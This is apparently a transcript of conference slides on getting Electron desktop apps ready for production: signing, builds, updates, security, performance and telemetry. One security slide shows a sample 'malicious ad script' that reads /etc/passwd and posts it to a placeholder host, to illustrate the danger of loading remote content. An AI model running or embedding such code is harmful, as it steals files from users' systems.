Real-World Electron

In this talk, you will learn how to take your Electron app and get it ready for production. Dot all the I's and cross all the T's to build the perfect app – indistinguishable from a real native app.

Level: Intermediate to Advanced

You're a Node.js developer, so you love writing JavaScript. If you're like me, you also love the web -- CSS, HTML, WebGL, and WebRTC are fast, fun, and powerful!

But sometimes you need to build a native app. No one wants to learn a new language, use proprietary SDKs, and use completely different tools to get things done. There is a huge learning curve to make apps for Mac, Windows, and all the different Linux distros.

But there's a solution! With Electron, you can build native apps using JavaScript and web technologies. Electron apps feel completely native and support automatic updates, native menus, notifications, crash reporting, a professional install experience, and more.

Transcript

1. REAL-WORLD ELECTRON
2. SHIP
3. SHIP
4. @FEROSS
8. WEBTORRENT DESKTOP > 31 releases > 32 contributors > 350,000 installs
10. WHOLE NEW WORLD
11. UX
12. USE THE DEFAULT CURSOR
13. USE THE MENU BAR
14. USE THE MENU BAR
15. WINDOWS TRAY
16. MAC APPS QUIT DIFFERENTLY
17. MAC APPS QUIT DIFFERENTLY app.on('window-all-closed', function (e) { if (process.platform !== 'darwin') { app.quit() } })
23. CODE SIGNING
24. CODE SIGNING
25. WORKAROUND
26. WORKAROUND
27. WORKAROUND
28. CODE SIGNING
29. WORKAROUND
31. GET A CERTIFICATE > Apple Developer Program $99 > Windows Authenticode $100 - $500
32. VERISIGN THAWTE COMODO
33. VERISIGN THAWTE VERISIGN COMODO
34. VERISIGN SYMANTEC THAWTE VERISIGN SYMANTEC COMODO
35. SYMANTEC COMODO
36. SYMANTEC COMODO DO NOT USE!
38. SIGN YOUR APPS > npm install electron-osx-sign > npm install electron-winstaller
39. BUILD
40. AVOID NATIVE DEPENDENCIES
41. BUILD FOR ALL PLATFORMS FROM ONE PLATFORM
42. ...WITH ONE EXCEPTION > Mac code signing only works on Mac
43. WHICH PLATFORMS?
44. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit > Linux Deb File 64-bit > Linux Deb File 32-bit
45. STEAM PLATFORM STATS
46. STEAM PLATFORM STATS > 6% use Windows 7 32-bit > 0.4% use Windows 8 32-bit > 1.5% use Windows 10 32-bit = 8% OF WINDOWS USERS ARE 32-BIT
47. WOW64 WINDOWS 32-BIT ON WINDOWS 64-BIT
48. MAC IS 100% 64-BIT
49. LINUX IS ???
50. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit > Linux Deb File 64-bit > Linux Deb File 32-bit
51. MINIMUM > WebTorrentSetup.exe > WebTorrent.dmg > webtorrent-desktop_0.0.0-1_amd64.deb > webtorrent-desktop_0.0.0-1_i386.deb
52. COMPLETE > Windows Installer 64-bit > Windows Installer 32-bit > Mac Disk Image 64-bit > Linux Deb File 64-bit > Linux Deb File 32-bit > Linux Zip File 64-bit > Linux Zip File 32-bit
53. COMPLETE > WebTorrentSetup.exe > WebTorrentSetup-ia32.exe > WebTorrent.dmg > webtorrent-desktop_0.0.0-1_amd64.deb > webtorrent-desktop_0.0.0-1_i386.deb > WebTorrent-linux.zip > WebTorrent-linux-ia32.zip
54. ABOVE-AND-BEYOND > Linux ARM architecture > Mac App Store > Windows Store > Ubuntu Software Center
55. DOWNLOAD
56. OFFER THE RIGHT FILE
58. OFFER THE RIGHT FILE > os.arch() → architecture of Node.js binary > arch() → architecture of operating system > npm install arch
59. OFFER THE RIGHT FILE const arch = require('arch') if (arch() === 'x64') { // 64-bit! } else { // 32-bit! } > Works in the browser
62. UPDATES
63. AUTO UPDATER const electron = require('electron') electron.autoUpdater.setFeedURL(AUTO_UPDATE_URL) electron.autoUpdater.checkForUpdates() electron.autoUpdater.on('error', ...) electron.autoUpdater.on('checking-for-update', ...) electron.autoUpdater.on('update-available', ...) electron.autoUpdater.on('update-not-available', ...) electron.autoUpdater.on('update-downloaded', ...)
65. USERS HATE UPDATE PROMPTS
66. SILENT UPDATES
67. SECURITY
69. WITH GREAT POWER COMES GREAT RESPONSIBLITY
70. AIR-GAP
71. ALWAYS USE HTTPS
72. DO NOT LOAD REMOTE CONTENT
73. MALICIOUS AD SCRIPT try { var fs = require('fs') var data = fs.readFileSync('/etc/passwd') // Steal the data var req = new XMLHttpRequest() req.open('GET', 'http://example.com', true) req.send(data.toString()) } catch (err) {}
74. KEEP YOUR SERVER SECURE
83. DOWNLOAD PERFORMANCE
84. USE A CDN
85. DEPENDENCY HYGIENE
86. electron-packager IGNORE /^\/src|^\/dist|\/(appveyor.yml|\.appveyor.yml| \.github|appdmg|AUTHORS|CONTRIBUTORS|bench|benchmark| benchmark\.js|bin|bower\.json|component\.json|coverage| doc|docs|docs\.mli|dragdrop\.min\.js|example|examples| example\.html|example\.js|externs|ipaddr\.min\.js|Makefile| min|minimist|perf|rusha|simplepeer\.min\.js| simplewebsocket\.min\.js|static\/screenshot\.png| test|tests|test\.js|tests\.js|webtorrent\.min\.js| \.[^\/]*|.*\.md|.*\.markdown)$/
87. STARTUP PERFORMANCE
88. MINIMIZE require() CALLS IN CRITICAL PATH
89. var Module = require('module') Module.prototype.require = function (orig) { return function (id) { console.trace(this, id) return orig.apply(this, arguments) }}(Module.prototype.require)
90. electron-packager ASAR > app → app.asar > One file instead of 1000s > Fix Windows "max path length" bug
91. MEASURE
92. CATCH RUNTIME ERRORS process.on('uncaughtException', ...) window.addEventListener('error', ...)
93. CATCH SEG FAULTS const electron = require('electron') electron.crashReporter.start({ companyName: COMPANY_NAME, productName: APP_NAME, submitURL: CRASH_REPORT_URL })
94. TELEMETRY > Installs > Active users > User retention > Error stack traces > Version Skew
95. ERROR RATE
96. VERSION SKEW
97. 1. Measure 2. Release 3. Repeat
98. KEEP IMPROVING!
99. THANKS @FEROSS